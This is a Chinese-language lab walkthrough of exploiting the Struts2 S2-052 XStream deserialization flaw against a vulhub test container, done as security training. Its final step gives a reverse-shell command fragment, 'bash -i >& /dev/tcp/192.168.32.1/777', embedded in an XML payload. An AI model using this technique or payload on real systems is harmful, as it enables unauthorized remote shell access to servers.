Web框架漏洞–Struts2 漏洞S2-052
漏洞利用:
Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 REST插件的XStream插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
攻击机:window10 IP:192.168.32.1
靶机:ubantu16.04 IP:192.168.32.142
(1)使用vulhub靶场,进入到s2-052漏洞目录下
开启s2-052环境
执行命令:docker-compose up -d
(2)在攻击机访问靶机地址,端口号为8080 ,http://192.168.32.142:8080/orders.xhtml
(2)即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据
Bp抓包,点击edit进行抓包
将数据传到repeater中
修改数据,插入代码
(3)在ubantu中查看是否成功新建文件
查看s-052的ID号
进入docker环境
执行命令:docker exec -it 7caa /bin/bash
成功生成success文件
(4)在window10里开监听
(5)修改bp上传的数据,构造反弹sehll
反弹shell命令:
<command> <string>bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/192.168.32.1/777 0>&1</string> </command>
(6)修改好后点击go,查看监听窗口,反弹shell成功